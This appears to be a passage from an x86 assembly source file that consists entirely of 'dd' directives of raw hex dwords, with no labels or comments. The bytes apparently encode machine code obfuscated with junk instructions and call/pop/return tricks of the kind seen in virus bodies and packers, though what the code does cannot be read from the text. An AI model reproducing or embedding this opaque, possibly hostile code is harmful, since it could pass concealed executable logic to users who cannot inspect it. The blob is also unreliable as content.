		dd 0Dh,	0EECB6229h, 5806F0CFh, 2B6AEAFAh, 1E183F4h, 22840Fh
		dd 0BB660000h, 816687F7h, 83C1E0C3h, 0FFFFFFA5h, 9D29FEFFh
		dd 6141CC1h, 4C449589h,	0E9F95F4Ch, 0
		dd 66E8B58Dh, 0BB660618h, 6A1CBEh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 45C35242h, 0B15967D5h, 0FBBE7A2Dh
		dd 498D89A9h, 0FF061426h, 14297195h, 11E806h, 4DC30000h
		dd 64DE0831h, 89344936h, 0D7130203h, 0FF0C5EAh,	48Bh, 0C0BB6600h
		dd 0BD8B5F72h, 61401FDh, 1017B9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 23B1979Fh
		dd 29B4C4F6h, 14295DBDh, 835F5306h, 6AFCE1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8D01EBC3h
		dd 614231Dh, 0FCF8BF0Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Dh, 76C35141h, 3406D4DAh,	160B98ACh, 9DBD8B0Bh
		dd 2B061415h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 4FDD0846h, 19E1B531h, 0B70F0614h
		dd 6AD22BD8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0AD55C356h, 0E8D1C233h, 0E983D003h
		dd 0FF47504h, 389h, 0FB8B6600h,	6820Fh,	85290000h, 61410E5h
		dd 880Dh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 81FE9B38h, 69958B5Ah, 6A06142Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0B055C351h, 9F121C45h, 0F9B07959h, 558D8BF5h
		dd 89061410h, 142E459Dh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6658188Bh, 2D1FCB81h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 48C35747h, 5AF950D6h, 0BD83EF9Eh
		dd 6140F4Dh, 79840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0F21EC356h
		dd 5E8F2BC3h, 0B8h, 0DBD8B00h, 8D061425h, 144DFF8Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 7FBD0C2Dh, 25A11716h, 0BD8B2967h, 6142ACDh, 5160E1FFh
		dd 0CE9h, 29322200h, 9534B5E4h,	0C7198CD7h, 0CCB85E86h
		dd 614C6A15h, 13DBD83h,	0F000614h, 41E84h, 12E800h, 9E3C0000h
		dd 711324D9h, 6DDC97Eh,	2F46E8E3h, 8FB77926h, 35DBD89h
		dd 835B0614h, 14013DBDh, 840F0106h, 40Eh, 0AD8529h, 0BD830614h
		dd 614013Dh, 0C5860F03h, 0F000003h, 6A60F8B7h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 926BC353h, 6AD98C66h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 8434C356h, 0F3BF662Bh
		dd 8E91Fh, 0B30B0000h, 0EF6CCAC8h, 0E1800AF2h, 0DDBD8B04h
		dd 0A061403h, 0FD840FC9h, 89000000h, 1424C9BDh,	35858B06h
		dd 6A06140Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 5B15C351h, 104DF05Ch, 158529h
		dd 24B30614h, 6A98533h,	6A0614h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 6045BBC3h, 830FAEB1h
		dd 6, 1BA19D89h, 0E9610614h, 7,	26E484CFh, 90AA2950h, 37039FBBh
		dd 830F5022h, 3, 90DE8B66h, 68F5006Ah, 3F33F02Bh, 0BE8h
		dd 0AB538F00h, 0D9A6418Dh, 21410E5Ch, 2434815Fh, 3F2CF3D4h
		dd 89D95FFh, 10E90614h,	95000000h, 0A29551E4h, 0C3C64727h
		dd 7846EB5Fh, 896E1006h, 17A7EA85h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 223265ABh
		dd 0A4B08EDFh, 2800F60h, 60000000h, 6192B261h, 1B2E9h
		dd 0DF8B6600h, 0A7E2858Bh, 0BD890617h, 6141CB9h, 1800C7h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 1FB370C3h, 2C69BD8Bh, 0B58B0614h,	617A7E6h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 6DC35747h
		dd 725AA548h, 858BAF18h, 6140281h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0C3C35646h,	0EE29ACD3h, 0BD3132FDh
		dd 614307Dh, 0BD890689h, 6140DCDh, 0E35858Bh, 6A0614h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 4689DBC3h, 0C199BB04h, 6096687Bh, 0DE9CC8Ah,	84000000h
		dd 39B6D77Fh, 0CFE7B40Eh, 0E013A5F3h, 6A965061h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0D3F0C356h, 8B3AB9CBh, 0FFDA8B39h, 17A7E2B5h, 719D2306h
		dd 0E8061423h, 4, 1F03FFh, 10E9h, 8896A800h, 71FAD9DCh
		dd 9C64EC27h, 0D98DD332h, 52505069h, 585A310Fh,	424448Bh
		dd 8E8h, 0F1F41700h, 30A457CBh,	3BBF6648h, 8B5B4Fh, 4489DD8Ah
		dd 36B70424h, 0FFBF0F58h, 0A7EA858Dh, 90F90617h, 8F0Fh
		dd 0F500000h, 1983h, 14E900h, 3B000000h, 0F1D7A00Dh, 47D629C4h
		dd 502C0D0Fh, 0D69BD0FFh, 6A9061D1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 0B3FDC350h
		dd 0D38C47Ah, 0FFFEB70Fh, 14089D95h, 0F99D2306h, 61061424h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 8C35343h
		dd 4B75E4E9h, 0EDF517DAh, 11850F60h, 0E8000000h, 0Bh, 0C9535570h
		dd 7893E758h, 5AEA084Dh, 85C761F8h, 614013Dh, 3, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5FC35747h, 53DBD340h
		dd 7290D177h, 0D919D8Bh, 0BD830614h, 617A7EAh, 35840F00h
		dd 8B000000h, 1410919Dh, 45E906h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E999D6C3h
		dd 8, 82B24F5Eh, 1755CCFAh, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0BFC08B00h, 3B11EE40h, 5890Fh, 81660000h
		dd 8330FFD7h, 14013DBDh, 850F0306h, 3D1h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 42C35545h, 31DEDFF2h
		dd 83D2B47Bh, 17A7EABDh, 840F0006h, 3A1h, 4498589h, 0B5FF0614h
		dd 617A7EAh, 1215B589h,	95FF0614h, 6140339h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 3DC35343h, 6F605BAh
		dd 8B22F376h, 17A7DEB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1B04h, 0C3574700h, 93DB1386h, 106ED0ECh
		dd 3268D8BBh, 0C7F88B42h, 1000106h, 0F781F900h,	1E4592EFh
		dd 148D0F50h, 0E9000000h, 0Fh, 0BACFD848h, 21162BFh, 9646F189h
		dd 898995AEh, 5E82434h,	0C8000000h, 67A03D31h, 0B5FF5FF9h
		dd 617A7EAh, 1919509h, 95FF0614h, 6141081h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C8C35242h, 0DEB58BD0h
		dd 890617A7h, 1411959Dh, 0DF815306h, 5A1FD881h
		dd 0F9858B5Fh, 8906140Fh, 1402799Dh, 0C4868906h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 6FF8C356h, 81668271h, 1F952F7h, 141BD59Dh
		dd 69958B06h, 0E906142Bh, 0Ah, 0C3801E03h, 0A79217B1h
		dd 0C283C0A4h, 89F98B04h, 6A2050h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0BF7D27C3h, 3923BCFh
		dd 0B58935FDh, 6140E2Dh, 0BC23858Dh, 0BB660617h, 8689D919h
		dd 0B8h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	34C35141h, 6A26F8h, 0FFFFBF0Fh,	17A7EAB5h, 618D0106h
		dd 0FF06141Bh, 1433AD95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 2FA7A37Ah
		dd 96210CF1h, 0BF50DE8Bh, 51D9B0C4h, 0F7816696h, 0B5FF2D31h
		dd 617A7EAh, 34899D2Bh,	95FF0614h, 6142309h, 5939BF66h
		dd 1189BD83h, 0F000614h, 6584h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0A07EB6C2h
		dd 0D66EFE5Eh, 9D8B42B7h, 6141F99h, 810F96h, 50000000h
		dd 0ABF6660h, 6A9661B6h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 3670C350h, 9B89E8Dh
		dd 0F018ED9Dh, 0AA5BD8Bh, 0B5FF0614h, 617A7EAh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 84C35141h, 0C1043C83h
		dd 0E523CE08h, 6850Fh, 0BD890000h, 61424BDh, 2D595FFh
		dd 0AE90614h, 97000000h, 315638E7h, 0E9BCBDE3h,	0EAB5FF40h
		dd 6A0617A7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 7B31C356h, 305DD2B4h, 0C59D032Bh
		dd 89061430h, 140449B5h, 7595FF06h, 6A06140Bh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0E55CC352h, 0E3D3A80Eh, 8987EFA7h, 141F45BDh, 2DBD8306h
		dd 2061411h, 52840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0D88A26C3h, 55858Bh
		dd 8F0F0614h, 6, 1E718531h, 0C60614h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
		dd 6EB3D8FBh, 1E4985C7h, 614h, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8B1EC3C3h
		dd 140D89BDh, 0F3F6E906h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 567876C3h, 0E7864B71h
		dd 6AC18BA1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 99F0C356h, 91D3D6DDh, 0B7861833h
		dd 91858D69h, 1061407h,	14192195h, 52505006h, 310FDC8Ah
		dd 489585Ah, 8E824h, 0E2BE0000h, 0A6293429h, 810F1CB1h
		dd 3, 5FFB8B66h, 9D8B006Ah, 61407E9h, 11E8h, 0AD58DF00h
		dd 181CEB4Dh, 0AEF3A229h, 354CAC48h, 0DF8151DAh, 2AB0162Bh
		dd 6A006A5Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 9819C357h, 0AEF0A7AEh,	4D811B8Fh
		dd 0CF1BD8Bh, 858D0614h, 6190927h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 0EBC35646h,	0CBBCD7C5h, 6A05C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 4BEC356h,	1AA9BD8Bh, 0E9500614h, 0Dh, 0F60D09C8h
		dd 0AB7C5FBEh, 88E40604h, 240489AAh, 6880Fh, 0BD8B0000h
		dd 6141AF5h, 0BD8B006Ah, 6140815h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0C496ECC3h
		dd 1995FFD4h, 6A06141Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F9D5C351h,	56974E75h
		dd 0F78110A6h, 54A1FB45h, 1E79BD8Bh, 8D8D0614h,	617A778h
		dd 0A699D8Bh, 0D1FF0614h, 0D6D9D0Bh, 0BD830614h, 61401CDh
		dd 0C4850F01h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4BAFC351h, 59B52934h
		dd 8B061413h, 142A399Dh, 0EDBD8B06h, 6A06140Ch,	56006A02h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0BC2251BBh, 0B8592C64h, 0D18D8960h, 89061410h, 1408A185h
		dd 50506106h, 0EB2BB52h, 310F7F94h, 5AFA8B66h, 24048958h
		dd 0FFD8B70Fh, 1433AD95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0F04AD2DBh
		dd 0DE3FE4CBh, 8D0F6011h, 6, 34B18533h,	0FE90614h, 18000000h
		dd 0D9EECDF7h, 543E2A14h, 0FE09EB08h, 0E961A9E7h, 0E01h
		dd 0E8h, 0ED815D00h, 6190931h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C8C35343h,	0AD6AFC4Fh, 0B35EAF97h
		dd 0C619D8Bh, 9D890614h, 6141935h, 8E49858Dh, 89510617h
		dd 1404CDBDh, 0E8905F06h, 8, 1A64C247h,	9BFF4184h, 0BE8h
		dd 20698E00h, 11A38CC1h, 487115B1h, 50505F5Fh, 0DE952h
		dd 0AAE30000h, 1D5429C2h, 5805BC79h, 0FE11133h,	8B0F31h
		dd 5A000000h, 0B70F9058h, 35FF64DEh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0AAC35545h
		dd 898D09B2h, 3061406h,	14266DBDh, 25896406h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 39C35545h
		dd 0FFD9BF0Fh, 142DED85h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0B1C8805Dh
		dd 0E803276Eh, 0Eh, 0B07A129h, 0FDA1FF67h, 50994D9Bh, 95317BE2h
		dd 61430E1h, 0CBEB815Fh, 6A2ACD55h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 8D200594h
		dd 9B75AD8h, 141BA595h,	61B5FF06h, 29061400h, 1402C585h
		dd 8995FF06h, 0E906142Ah, 10Fh,	2029B529h, 0B00614h, 2A46E381h
		dd 0BD3115C8h, 6140321h, 953170E6h, 6140779h, 9D8971E4h
		dd 6142099h, 830F613Ch,	0E3h, 34D58D89h, 0B60F0614h, 419D33C8h
		dd 6006140Dh, 58616056h, 2521BD89h, 0BA610614h,	6, 8BFB8B66h
		dd 99D8BC1h, 0C106141Bh, 8B5004E8h, 0F7665BF9h,	5DB589E2h
		dd 2B06140Ah, 8D0F56C8h, 4, 220BF66h, 66D18B5Bh, 6060F781h
		dd 8EE9h, 0CB816600h, 858B0232h, 47554C50h, 0E619D8Bh
		dd 0C0830614h, 83DE8B07h, 0BF6600C0h, 0B70F95E9h, 0FD03BF9h
		dd 1783h, 75B58900h, 0E9061410h, 5Bh, 6860Fh, 95310000h
		dd 6142595h, 0FFFF8D8Bh, 8166FFFFh, 83410CCFh, 840F01E1h
		dd 3Bh,	2A4C9EBFh, 0FFA58317h, 0FEFFFFFFh, 1B8DBD8Bh, 95890614h
		dd 47554C50h, 12E8h, 66A7F400h,	1ECD27C8h, 928AFFAAh, 0EF6BEC7Ch
		dd 81FEF23Bh, 72F7BAC3h, 0E95F61h, 8D000000h, 1876FFB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 5240D8C3h, 2EB6F283h, 19E1BD8Bh,	7E80614h
		dd 1000000h, 0F2230DE4h, 0F1BB6C16h, 5B0A3B85h,	8F0F006Ah
		dd 1Bh,	12E8h, 610B3900h, 0BB8444E8h, 4D01BD26h, 15F54F97h
		dd 0F1DB01Dh, 0FF5BDFBFh, 14297195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 38634CD2h
		dd 0DA876CA2h, 107AB9h,	53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 38F98E46h, 0BF6645E8h
		dd 860F321Eh, 6, 16999D23h, 0E1830614h,	0D8BF0FFCh, 941B7FCh
		dd 1412719Dh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0DFDAC3C3h, 800A58F6h
		dd 0FC8A10CFh, 0BAh, 65BD8B00h,	0AD061434h, 0E8D1C233h
		dd 0E983D003h, 8BF47504h, 1423299Dh, 0D8BF0F06h, 880Dh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0C69C38CDh, 0C61BBE1Ah, 2B69958Bh, 6A0614h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 1EC580C3h, 0EF1F8FD2h, 2649BD89h, 8D8B0614h,	6141055h
		dd 51BD8B52h, 5F061410h, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 2D0DF6C3h, 5CDF8166h, 9D33529Bh
		dd 6142001h, 52006A5Bh,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 203E5E60h, 5C529BCCh, 0D5EFBF66h
		dd 0F4DBD83h, 0F000614h, 4884h,	0F3816600h, 810F845Bh
		dd 3, 0B893C380h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0E7C35747h
		dd 0AB08940Dh, 8D8D5A60h, 6144DFFh, 9DD78166h, 81E1FF86h
		dd 8B3C3AC7h, 3DBD836Bh, 61401h, 457840Fh, 9D230000h, 6140E19h
		dd 0EF68DF81h, 0BD836BDFh, 614013Dh, 59840F01h,	6A000004h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 8855C357h, 9B9C5B55h, 13DBD83h, 0F030614h
		dd 3F586h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0B5895154h, 61409A9h, 0F5BD0B5Fh
		dd 6006141Ah, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	7AC35141h, 85E38166h, 2DB58901h, 6606141Ch, 0DDBBD98Ch
		dd 806598EBh, 0BD8B04E1h, 61419EDh, 840FC90Ah, 0EBh, 0E35858Bh
		dd 85330614h, 61406A9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 5AC35242h, 5061E206h,	5E8h, 0FFFA6700h
		dd 9E9E45Ah, 0C8000000h, 52A1DAA5h, 172D3CFAh, 2404895Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0F4C35646h
		dd 57648579h, 8B006A77h, 1404359Dh, 318D2906h, 6806140Ch
		dd 0BE9B1429h, 457A76BFh, 2404810Bh, 4183EFD6h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C3C35545h, 0AD9C7597h
		dd 0B3BB7EA9h, 0FF0D2C01h, 14089D95h, 0DE906h, 32150000h
		dd 0BB2B6FF2h, 2194847Fh, 8931233Ah, 17A7EA85h,	89505206h
		dd 142F31BDh, 0F5F5F06h, 685h, 0DD9D8B00h, 0E9061419h
		dd 220h, 8BDE8B66h, 17A7E285h, 51006A06h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 96CEC5B0h
		dd 6255C966h, 0C7D9B70Fh, 1800h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6AAF83E5h
		dd 0F035C2FEh, 0EE9h, 28853500h, 0C5C9F65Eh, 3F75201Dh
		dd 29B6AE79h, 1426858Dh, 0E6B58B06h, 6A0617A7h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0A465C357h, 7C76390Eh, 4A6CB790h, 858B5FB7h,	6140281h
		dd 49B52960h, 106140Dh,	1418C595h, 6896106h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 6C35343h, 10254001h
		dd 0BF14ECB7h, 7F8F1DC7h, 0E35858Bh, 0BF660614h, 4689AEACh
		dd 55006A04h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0FD8631A3h, 5E9DAh, 90250000h, 96BB1366h
		dd 0AE960h, 0C0ED0000h,	85A17723h, 6B829D9Ch, 0EE9h, 8D755E00h
		dd 2D1545DBh, 704B3B96h, 61A01B90h, 11E85350h, 0A3000000h
		dd 4A4B0581h, 8A6E6AFFh, 4787CF3Bh, 0DA006866h,	4860BF66h
		dd 6A965B5Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 2239C350h, 0CD429C54h,	0D1B5898Bh
		dd 0FF061433h, 17A7E2B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0A107E7FCh
		dd 5D4B0675h, 4E8FC4Fh,	0FF000000h, 8A001F03h, 0D88B50F8h
		dd 424448Bh, 9E8h, 5E885800h, 4AF39ED6h, 5250B297h, 8F0Fh
		dd 310F0000h, 585A5F52h, 0BB008B5Fh, 3667FB59h,	4244489h
		dd 0FB8B6658h, 0A7EA858Dh, 0B5890617h, 61402D1h, 31BB6650h
		dd 240489F5h, 13E9h, 2C3B3100h,	3D253766h, 0A1672D0Ch
		dd 0D0210A55h, 1974F04Dh, 89D95FFh, 0BD890614h,	61400A5h
		dd 0BB66F961h, 85C7696Fh, 614013Dh, 3, 0CE9h, 0F7DDC000h
		dd 4FC513F8h, 0F9F24CB3h, 0EABD83D4h, 617A7h, 54840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 97D943C3h, 719D8B3Bh, 0E9061434h,	45h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 54C35141h, 66BC791Dh
		dd 253ED381h, 1F19BD0Bh, 30500614h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 51006AC0h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 89026165h
		dd 14077D8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0ECF7E1BEh, 6D617654h, 3DBD8303h
		dd 3061401h, 429850Fh, 6E90000h, 1C000000h, 8BEC9CFEh
		dd 88FCBF1Bh, 0BD834633h, 617A7EAh, 0C840F00h, 6A000004h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 75E4C353h, 0B5FFDA4Bh, 617A7EAh, 8420DCBBh
		dd 0A9C38176h, 0FF42FFF3h, 14033995h, 2222BF06h, 0B58B763Dh
		dd 617A7DEh, 4A99D89h, 9D8B0614h, 614254Dh, 106C7h, 6A0001h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D260B3C3h, 0AE947B51h, 0DB8166ABh, 8950FA13h, 6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 0B789D0C3h, 197871Fh, 1411A1BDh, 0EAB5FF06h,	0F0617A7h
		dd 95FFF9BFh, 6141081h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 1AC35141h, 1331BD8Bh,	0FE90614h, 88000000h
		dd 0C7C2D010h, 463D6729h, 0DEA1AEEAh, 0B58BF7C3h, 617A7DEh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 5AC35141h
		dd 5033E961h, 0B5892A7Ch, 6140C19h, 0FF9858Bh, 6A0614h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 9B3D5AC3h, 0D8E0Fh, 8B600000h, 1431218Dh, 0D9816606h
		dd 0F61BE06h, 684h, 55BD8900h, 89061407h, 0C486h, 0E7816600h
		dd 958B84C3h, 6142B69h,	0F6A33BBFh, 4C2832Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0D5C35040h, 0FB1CBCBh
		dd 22CB86D7h, 10E93Eh, 25B60000h, 64595076h, 0DC495EBh
		dd 2D5C6603h, 50891237h, 51006A20h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 7940855Dh, 0FA0228B9h
		dd 10E960h, 0A3E50000h,	0E0C46238h, 55F2B08Ch, 0C225BADDh
		dd 8166A80Ah, 61DFE3E0h, 0BC23858Dh, 6A0617h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 962158C3h
		dd 0EFBBBB27h, 89F7C5CBh, 0B886h, 719D8900h, 6A06142Bh
		dd 29858900h, 906141Dh,	14185195h, 0EAB5FF06h, 6A0617A7h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 660FC355h, 0DCC3DB81h, 0D11BD0Bh,	95FF0614h
		dd 61433ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0F0C35545h, 441EDF32h, 0F534A7E2h, 0F98B6650h
		dd 6A243489h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 586AC350h, 0FFF5BC4Eh,	17A7EAB5h
		dd 47D3BB06h
		dd 95FF74CCh, 6142309h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0F3C35343h, 0A850F37h, 0F000000h, 481h
		dd 47BF6600h, 89BD831Bh, 61411h, 33840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 8E6A9FC3h, 6312D815h, 9689B766h, 0AF0DBF50h,	89960CE6h
		dd 14119D9Dh, 0EAB5FF06h, 6A0617A7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2A8FC355h
		dd 0BF0F15E7h, 0D595FFDAh, 6A061402h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0BEEDC356h
		dd 59F5EB04h, 0B5FF6A17h, 617A7EAh, 2CDC78BBh, 0DB5016Eh
		dd 0FF061416h, 140B7595h, 9E906h, 6A0A0000h, 0CCEE76CBh
		dd 8309B0E9h, 14112DBDh, 840F0206h, 3Dh, 0BBA5BB66h, 55858Bh
		dd 0BD8B0614h, 6140E3Dh, 0C618CB80h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F10E4CC3h
		dd 0F53FEDDh, 86h, 4985C700h, 6141Eh, 0E9000000h, 0Ah
		dd 222462D8h, 33F04211h, 0E9F978C9h, 0FFFFF357h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0E0C35646h, 9B438974h
		dd 8D89CD1Bh, 6142FA5h,	0B70FC18Bh, 91858DFBh, 90061407h
		dd 665043B3h, 90D7BFBFh, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 9BC35343h, 8D9D89DFh,	6A061411h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 29429DDCh, 1419998Dh, 0D3816606h, 6A7090h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C2C35040h, 0CA858DF5h
		dd 0F9061918h, 0AB8DBB66h, 6A05C083h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0DAA0C353h
		dd 90FE8BDEh, 0CD106EBFh, 8C0F504Fh, 2,	6A90DE8Bh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
